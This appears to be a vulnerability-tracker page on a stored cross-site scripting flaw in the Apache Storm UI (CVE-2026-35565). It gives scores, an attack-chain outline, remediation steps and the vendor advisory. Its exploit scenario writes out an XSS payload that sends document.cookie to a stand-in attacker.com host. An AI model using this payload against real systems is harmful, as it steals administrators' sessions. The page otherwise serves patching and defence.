Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker gains topology submission rights
-
DeliveryCrafts topology with XSS payload in component ID
-
ExploitSubmits topology to Nimbus
-
InstallPayload stored in Nimbus metadata
-
C2Administrator views topology in Storm UI
-
ExecuteJavaScript renders unsanitized component ID
-
ImpactMalicious script executes in admin context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents a nuanced risk profile. CVSS 5.4 (Medium) with PR:L (requires authentication) and UI:R (requires user interaction-admin must view the topology) reflects moderate severity. However, EPSS 0.04% (11th percentile) indicates extremely low observed exploitation probability in the wild, and SSVC assessment of 'Exploitation: none, Automatable: no, Technical Impact: partial' confirms this is not a high-priority threat. The attack requires a specific precondition (attacker must have topology submission rights, a sensitive permission typically restricted to trusted operators), and impact is limited to the security context of users viewing the visualization. In single-tenant or restrictive-ACL environments, risk is minimal. In multi-tenant platforms with permissive submission policies, the privilege-escalation vector warrants attention. The combination of low EPSS, authentication requirement, and no evidence of active exploitation or public POC suggests this is a genuine but low-urgency vulnerability best addressed through standard patching cycles. |
| Exploit ScenarioDerived | An attacker with topology submission rights (e.g., a developer in a multi-tenant Storm cluster) submits a topology containing a bolt component with an ID like 'bolt_<img src=x onerror="fetch(attacker.com?cookies='+document.cookie+')">'. The malicious ID is stored by Nimbus and returned via the Visualization API when an administrator views the topology graph in the Storm UI. The JavaScript parseNode() function interpolates this unsanitized ID directly into tooltip HTML via innerHTML, causing the onerror event handler to execute in the administrator's browser, leaking session cookies or performing administrative actions. No public POC is identified; exploitation requires both topology submission access and social engineering or system access to ensure an admin views the malicious topology. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 13, 2026
Stored cross-site scripting in Apache Storm UI before 2.8.6 allows authenticated users with topology submission rights to inject malicious HTML/JavaScript via unsanitized component identifiers, stream names, and grouping values in the visualization component. The payload persists in Nimbus and executes in the browser of any administrator viewing the topology visualization, enabling privilege escalation in multi-tenant deployments. EPSS score of 0.04% and SSVC assessment of partial technical impact with no automated exploitation indicate relatively low real-world risk despite the concerning privilege-escalation scenario.
RemediationAI
Upgrade to Apache Storm 2.8.6 or later, which includes sanitization of topology metadata in the visualization JavaScript layer. For organizations unable to upgrade immediately, the release notes of Apache Storm 2.8.6 provide a guide to manually monkey-patch the parseNode() and parseEdge() functions in the visualization JavaScript file to HTML-escape all API-supplied values (nodeId, capacity, latency, component, stream, grouping attributes) before interpolation into tooltip HTML. Additionally, implement defense-in-depth by restricting topology submission permissions via Nimbus ACLs to only trusted users, reducing the attack surface. Consult the official advisory at https://storm.apache.org/2026/04/12/storm286-released.html and https://nvd.nist.gov/vuln/detail/CVE-2026-35565 for detailed remediation guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Apache Storm's UI visualization component uses vis.js for rendering network topology graphs. The vulnerability exists in JavaScript functions parseNode() and parseEdge(), which directly interpolate topology metadata (component IDs, stream names, grouping attributes) into HTML via innerHTML without sanitization. Topology metadata originates from Nimbus (Storm's master) via Thrift RPC and flows through the Visualization API to the frontend JavaScript layer. The root cause is inadequate input validation (CWE-79: Improper Neutralization of Input During Web Page Generation) at the point where user-controlled data from topology definitions enters HTML construction. Because topology definitions are stored persistently in Nimbus, malicious payloads remain in the system and execute whenever the topology visualization is rendered.
Know when Apache Storm Ui gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (apache) · only source for this CVE.
CVSS VectorVendor: apache
Lifecycle Timeline
3DescriptionCVE.org
Stored Cross-Site Scripting (XSS) via Unsanitized Topology Metadata in Apache Storm UI
Versions Affected: before 2.8.6
Description: The Storm UI visualization component interpolates topology metadata including component IDs, stream names, and grouping values directly into HTML via innerHTML in parseNode() and parseEdge() without sanitization at any layer. An authenticated user with topology submission rights could craft a topology containing malicious HTML/JavaScript in component identifiers (e.g., a bolt ID containing an onerror event handler). This payload flows through Nimbus → Thrift → the Visualization API → vis.js tooltip rendering, resulting in stored cross-site scripting.
In multi-tenant deployments where topology submission is available to less-trusted users but the UI is accessed by operators or administrators, this enables privilege escalation through script execution in an admin's browser session.
Mitigation: 2.x users should upgrade to 2.8.6. Users who cannot upgrade immediately should monkey-patch the parseNode() and parseEdge() functions in the visualization JavaScript file to HTML-escape all API-supplied values including nodeId, :capacity, :latency, :component, :stream, and :grouping before interpolation into tooltip HTML strings, and should additionally restrict topology submission to trusted users via Nimbus ACLs as a defense-in-depth measure. A guide on how to do this is available in the release notes of 2.8.6.
Credit: This issue was discovered while investigating another report by K.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
EUVD-2026-21904
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB